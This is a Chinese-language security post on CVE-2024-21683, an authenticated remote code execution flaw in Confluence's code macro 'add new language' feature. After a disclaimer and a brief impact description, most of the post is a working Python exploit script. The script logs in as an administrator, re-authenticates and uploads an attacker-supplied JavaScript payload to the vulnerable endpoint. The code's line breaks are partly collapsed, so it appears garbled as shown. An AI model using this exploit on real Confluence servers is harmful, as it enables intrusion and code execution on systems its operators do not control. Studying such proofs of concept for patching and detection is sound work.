免责声明:本文所涉及的信息安全技术知识仅供参考和学习之用,并不构成任何明示或暗示的保证。读者在使用本文提供的信息时,应自行判断其适用性,并承担由此产生的一切风险和责任。本平台,本文作者与发布者对于读者基于本文内容所做出的任何行为或决定不承担任何责任。在任何情况下,本文作者不对因使用本文内容而导致的任何直接、间接、特殊或后果性损失承担责任。读者在使用本文内容时应当遵守当地法律法规,并保证不违反任何相关法律法规。

影响描述

    CVE-2024-21683是一个远程代码执行漏洞,很容易被武器化(通过特制的JavaScript语言文件),不需要用户交互即可被利用,但由于必须满足其他先决条件,因此不被视为关键,即: 

攻击者必须登录Confluence 

攻击者必须具有足够高的权限才能添加新的宏语言 

必须将包含恶意Java代码的JavaScript文件上载到配置代码宏>添加新语言 

Sonicwall的研究人员解释道:“该漏洞是由于‘配置代码宏’部分的‘添加新语言’功能中的输入验证机制存在缺陷造成的。”。 

    “此功能允许用户上载新的代码块宏语言定义,以自定义格式和语法高亮显示。它希望Javascript文件根据自定义笔刷语法进行格式化。验证不足会使经过身份验证的攻击者注入嵌入文件中的恶意Java代码(…),这些代码将在服务器上执行。”

poc&exp

import clickimport requests
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"

def login(session: requests.Session, url: str, username: str, password: str) -> None:    data = f"os_username={username}&os_password={password}&login=Log+in&os_destination=%2Findex.action"    headers = {"Content-Type": "application/x-www-form-urlencoded"}    response = session.post(url=url, headers=headers, data=data, verify=False)
    if "the following error(s) occurred" in response.text.lower():        raise ValueError("Incorrect user or password")
    if response.status_code != 200:        raise ValueError("Unknown error")

def do_authenticate(    session: requests.Session, url: str, username: str, password: str) -> None:    data = f"password={password}&authenticate=Confirm&destination=%2Fadmin%2Fconsole.action"    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    response = session.post(url=url, headers=headers, data=data, verify=False)
    if "the following error(s) occurred" in response.text.lower():        raise ValueError("Incorrect user or password")
    if response.status_code != 200:        raise ValueError("Unknown error")

def upload_macros(    session: requests.Session, url: str, macro_name: str, payload: str) -> None:    data = {"newLanguageName": "MyNewLanguage"}
    files = {"languageFile": (macro_name, payload, "text/javascript")}
    response = session.post(url, data=data, files=files, verify=False)
    if response.status_code != 200:        raise ValueError("Unknown error")

@click.command()@click.option(    "--user",    "-u",    help="Username of user with system administration privelege. Example: admin",)@click.option(    "--password",    "-p",    help="Password of user with system administration privelege. Example: admin",)@click.option("--target", "-t", help="URL confluence. Example: http://127.0.0.1:8090")@click.option("--file", "-f", help="File payload. Example: exp.js")@click.option("--name", "-n", default="test", help="New language name. Example: test")def main(user: str, password: str, target: str, file: str, name: str):    sess = requests.Session()    sess.headers.update({"User-Agent": USER_AGENT, "X-Atlassian-Token": "no-check"})
    login(        session=sess, url=f"{target}/dologin.action", username=user, password=password    )    do_authenticate(        session=sess,        url=f"{target}/doauthenticate.action",        username=user,        password=password,    )
    with open(file, "rt") as fd:        payload = fd.read()
    upload_macros(        session=sess,        url=f"{target}/admin/plugins/newcode/addlanguage.action",        macro_name=name,        payload=payload,    )

if __name__ == "__main__":    main()